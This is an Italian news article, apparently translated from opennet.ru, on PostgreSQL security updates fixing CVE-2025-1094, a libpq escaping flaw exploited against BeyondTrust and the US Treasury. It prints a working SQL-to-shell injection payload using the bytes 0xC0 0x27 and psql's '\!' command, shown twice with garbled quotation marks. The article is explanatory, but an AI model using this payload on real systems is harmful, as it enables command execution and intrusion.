Sono stati rilasciati aggiornamenti correttivi per tutti i rami supportati di PostgreSQL 17.3, 16.7, 15.11, 14.16 e 13.19, che risolvono oltre 70 bug e rimuovono una vulnerabilità (CVE-2025-1094) che a fine dicembre è stata sfruttata in un attacco contro BeyondTrust e il Dipartimento del Tesoro degli Stati Uniti. Il problema in PostgreSQL è emerso durante l'analisi di una vulnerabilità remota (CVE-2024-12356) nei servizi BeyondTrust PRA (Privileged Remote Access) e BeyondTrust RS (Remote Support), in cui è stata sfruttata una vulnerabilità zero-day sconosciuta in libpq.
A seguito dell'attacco, i criminali informatici sono riusciti a ottenere una chiave per accedere all'API utilizzata per fornire servizi di supporto tecnico remoto ai clienti dei servizi SaaS di BeyondTrust. Questa API è stata utilizzata per reimpostare le password e compromettere l'infrastruttura del Dipartimento del Tesoro degli Stati Uniti, che utilizza i prodotti di BeyondTrust. Durante l'attacco, i criminali sono riusciti a scaricare documenti riservati e ad accedere ai computer degli impiegati del ministero.
La vulnerabilità si manifesta nella libreria libpq, che fornisce un'API per interagire con i database tramite programmi in C (sopra la libreria sono anche implementate librerie di collegamento per C++, Perl, PHP e Python). Il problema riguarda le applicazioni che utilizzano le funzioni PQescapeLiteral(), PQescapeIdentifier(), PQescapeString() o PQescapeStringConn() per l'escapement dei caratteri speciali e la neutralizzazione delle virgolette.
Un attaccante può ottenere l'inserimento del proprio codice SQL se il testo ricevuto esternamente viene escapato utilizzando le suddette funzioni libpq prima di essere utilizzato in una query SQL. Nelle applicazioni di BeyondTrust, le query escapate in questo modo sono state trasmesse tramite l'utilità da riga di comando psql. La vulnerabilità è causata dall'assenza di un controllo della correttezza dei caratteri Unicode utilizzati nel testo nelle funzioni di escapement, consentendo di eludere la normalizzazione delle virgolette specificando sequenze di byte UTF-8 errate.
Per sfruttare la vulnerabilità, si può utilizzare un carattere UTF-8 errato, composto dai byte 0xC0 e 0x27 («└'»). Il byte 0x27 nella codifica ASCII corrisponde a un'apostrofo («‘») che deve essere escapato. Nel codice di escapement, la combinazione di byte 0xC0 e 0x27 viene elaborata come un singolo carattere Unicode. Di conseguenza, il byte 0x27 in questa sequenza rimane non escapato, mentre viene elaborato come un'apostrofo quando si elabora la query SQL nell'utilità psql.
Durante esecuzione di query SQL attraverso l'utilità psql, per eseguire codice arbitrario si può utilizzare l'inserimento nella stringa di comando «\!», utilizzata in psql per avviare programmi arbitrari. Ad esempio, per eseguire l'utilità «id», si può passare il valore «hax\xC0′; \! id #». Nel caso seguente, per escapare, viene chiamato uno script PHP dbquote, che utilizza la funzione PHP pg_escape_string, che opera sopra la funzione PQescapeString di libpq: $ echo -e «hello \xC0’world'» | ./dbquote ‘hello └’world»’ $ quoted=$(echo -e «hax\xC0′; \! id # » | ./dbquote) $ echo «SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = ‘sdcust’ AND (expiration IS NULL OR expiration>NOW())» | psql -e SELECT COUNT(1) FROM gw_sessions WHERE session_key = ‘hax└’; ERROR: sequenza di byte non valida per la codifica «UTF8»: 0xc0 0x27 uid=1000(myexamplecompany) gid=1000(myexamplecompany) server Le utility «id» possono ricevere il valore «hax\xC0′; \! id #». Nell'esempio seguente, viene chiamato uno script PHP dbquote per l'escaping, che utilizza la funzione PHP pg_escape_string, che funziona sopra la funzione PQescapeString di libpq: $ echo -e «hello \xC0’world'» | ./dbquote ‘hello └’world»’ $ quoted=$(echo -e «hax\xC0′; \! id # » | ./dbquote) $ echo «SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = ‘sdcust’ AND (expiration IS NULL OR expiration>NOW())» | psql -e SELECT COUNT(1) FROM gw_sessions WHERE session_key = ‘hax└’; ERRORE: sequenza di byte non valida per la codifica «UTF8»: 0xc0 0x27 uid=1000(myexamplecompany) gid=1000(myexamplecompany)
Fonte: opennet.ru
